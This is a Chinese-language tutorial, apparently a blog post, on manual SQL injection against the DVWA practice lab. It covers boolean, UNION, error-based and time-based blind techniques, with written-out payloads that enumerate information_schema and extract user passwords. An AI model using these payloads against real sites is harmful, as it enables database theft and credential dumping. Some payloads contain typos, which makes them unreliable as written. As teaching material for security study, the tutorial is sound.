sql注入介绍
sql数据库的注入攻击常年位居OWASP TOP10榜首,危害极大,因为网站信息都是依靠数据库存储,管理员账号密码等都存储于数据库,如果数据库被注入攻击成功将造成严重的后果。原理就是构造特殊的输入来干一些事情,比如一个网站对于输入的语句不进行任何的过滤,这就可以用闭合来绕过来跳出语句执行想要执行的命令
sql注入的危害,拖库导致用户数据泄露,危害web等应用的安全,失去操作系统的控制权,用户信息被非法贩卖,危害企业及国家的安全
注入流程
上面已经讲解了sql注入的一些基础,更加深入的知识还是要在实战中来自己理解,慢慢提升自己,记住百度才是我们最好的老师
接下来就是注入的流程了
注入的方式可以是手动注入或者自动注入,自动注入后面会有更详细的解释,这里提一下
我们直接进行注入的过程,跳过第一个判断过程
注入的方法也有好几种,基于错误的注入,基于布尔的注入,基于union的注入,基于时间的盲注
布尔注入
布尔注入:在输入中闭合前面语句并输入额外条件
比如:1’ and 1=1 #,同样的,我们带入到网页的源码中,
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #'"
and 1=1 是一个逻辑判断语句,也就是说,因为 1=1,所以前面的SQL语句查询,可以执行。
那么如果换成 and 1=2,很明显,逻辑判断不成立,所以前面的SQL语句无法查询,网页返回错误信息。
布尔逻辑注入的思路是闭合sql语句、构造or和and逻辑语句、注释多余的代码;
查询语句在后端中的原始语句:
mysql> select first_name,last_name from dvwa.users where user_id=''
#SQL注入语句解析:' or 1=1 -- '
mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' '
#语句说明:第一个'用于闭合前面的条件 or 1=1 为真的条件 --将注释后面的所有语句
联合注入
联合注入UNION:如果想要其他表的信息则需要联合注入了,注入的命令中加入其他的命令达到联合注入效果
这里就是利用union在输入内加上了另一串命令,因为在sql注入中前面一段都是不可改变的,则只能利用union从后门的语句入手,进行sql联合注入
注意:用union来查询目标表中的字段数必须相同,正常情况下我们并不知到目标数据库的表中有多少字段(因为后端数据隐藏没办法看),这样我们可以猜对方的字段数,从一个字段开始,如果不行就用数字填充,一个一个增加,数据库中数字并不允许为字段,当时select对数字并不会报错
例子:
下面语句就是模拟sql注入,这是一个查询的注入,注入的地方都是前一部分的语句已经被写死,依靠别的方法来达到我们的目的
mysql> select * from dvwa.users
-> union
-> select user_login,user_pass from wordpress.wp_users;
上面是在知道目标库中的信息情况,下面是不知情况下的查询
使用UNIO关键字报错:The used SELECT statements have a different number of columns,这个报错就是因为查询字段与目标库字段不相符合
mysql> select * from dvwa.users union select 1;
#猜测目标有一个字段
mysql> select * from dvwa.users union select 1,2;
#猜测目标有两个字段
mysql> select * from dvwa.users union select 1,2,3;
#猜测目标有三个字段
mysql> select * from dvwa.users union select 1,2,3,4;
#猜测目标有四个字段,,以此类推直到猜对
上面用了几个函数,version(),user(),database()
version()查看版本号,user()查看当前登录的用户,database()返回默认或当前数据库的名称
information_schema
这种方法太过于麻烦,在对目标库一无所知的情况下,不知道目标的表名,有多少表,表中有什么字段,还有就是权限问题,清楚数据库却没有对应的权限,那该如何操作。首先忽略权限问题,先看看数据库的表和字段问题。
mysql库中有一个非常重要的库,information_schema,这里面保存这数据库所有表,库等等源信息,称为数据库字典
mysql> select * from information_schema.TABLES\G
information_schema.TABLES,TABLES这个表里面存储了数据库中的所有库里面的所有表,清楚详细的记录了所有信息
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;
#TABLE_SCHEMA是数据库的名称
#等同于show databases DISTINCT 是用来去重的
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dvwa';
#在information_schema.TABLES 这个表中查询TABLE_SCHEMA,TABLE_NAME这两个字段,wherez指定了查询TABLE_SCHEMA表中的‘dvwa’
#下面查询的是从information_schema.TABLE表中TABLE_SCHEMA下面的‘dvwa’库名和‘dvwa’库下面存在的两个表名
#TABLE_SCHEMA是库名
#TABLE_NAME是表名
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLE GROUP BY TABLE_SCHEMA\G
#GROUP_CONCAT(TABLE_NAME)
#CONCAT是用于字符串拼接的,GROUP用来分组,GROUP BY 表明按照什么来进行分组
#这个命令用来对TABLE_NAME进行分组拼接,最后按照TABLE_SCHEMA分组来显示
下面是一部分的显示,上面命令会把information_schema.TABLE这个表里面的信息按照要求全部打印,进行了分组整合看起来就很舒服了,不然出来的数据会是比较不好区分的
利用information_schema库来进一步获取需要的表中的字段信息,注意:union后面不能跟desc,所以需要利用到上面相同的方法,下面开始实例,这次利用information_schema.columns里面记录了mysql所有库中所有表的字段信息
mysql> select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='proxy' and TABLE_NAME='LOGS';
#查询指定proxy库中指定的logs表内的字段名
查询的时候当然都是要使用过滤和条件的,比如查某个库下面的某个表,不然查所有库下所有表表的字段信息,那样的查找到的信息有几千甚至更多,这个没有一点意义,所以还是要配合条件和过滤来查找
information_schema这个库并不是想查看所有就能查看的,有些会需要到权限
语句解析:
//查询数据库中所有表
information_schema数据库提供了访问数据库源数据的方式;源数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息
SQL注入语句解析:
mysql> select * from information_schema.TABLES\G
#数据库内所有内容
//查询所有表名
'union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.user where user_id=''union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ''
//查询库中的所有表名
'union select table_name,1 from INFORMATION_SCHEMA.tables -- '
mysql> select table_name,last_name from dvwa.user_id=''union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ''
//同时查询表名及对应库名
'union select table_name,1 from INFORMATION_SCHEMA.tables --'
mysql> select first_name,last_name from dvwa.users where user_id=''union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ''
//原始语句
mysql> select first_name,last_name from dvwa.users where user_id='$id'
//查询数据表
' union select 1,column_name from INFORMATION_sCHEMA.columns where table_name='users' -- '
' union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- '
' union select 1,column_name from INFORMATION.columns where table_name='SCHEMA_PRIVILEGES' -- '
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='union select 1,column_namefrom INFORMATION_sCHEMA.columns where table_name='users' -- ''
mysql> select first_name,last_name from dvwa.users where user_id='union select 1,column_name from INFORMATION_sCHEMA.columns where table_name='USER_PRIVILEGES' -- ''
mysql> select first_name,last_name from dvwa.users where user_id='union select 1,column_name from INFORMATION_sCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- ''
//查询数据列
' union select NULL,user from users --'
' union select NUL,password from users --'
' union'select password,concat(first_name,'',last_name,' ',user) from users -- '
#SQL注入语句解析:
mysql> use dvwa;
mysql> select first_name,last_name from dvwa.users where user_id=''union select password,concat(first_name,'',last_name,'',user) from users -- ''
#concat 是用来合并的
错误注入
比如先输入一个单引号,让他出现语法错误,看看目标有没有把单引号过滤,如果报错了说明目标并没有过滤单引号,如果上面都没有发生,很可能已经把单引号过滤了,使用错误注入一般都是用来试探目标是否对一些特殊语句报错,比如一个单引号,或者有没有可能返回一些像mysql的版本,所以错误注入并不是为了去注入,而是为了来判断目标是否有注入点,或者注入漏洞
基于时间的盲注(SQL injection (Bind))
前面有提到几种简单的用来判断是否存在注入的方式,但是,有时候,这几种方法对某些目标来说没有用,他不会有任何的回应。
没有回应并不一定是没有注入点,只不过可能没有显示,这种情况下,不好判断是否存在注入点。针对这种情况出现了另一种判断注入的方法, 它就是大家俗称的盲注
给一个真条件,然后闭合,在使用and连接一个sleep函数停止几秒钟,看看目标会出现什么反应
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ''
手动注入就到这里,下次接着讲自动注入 SQL map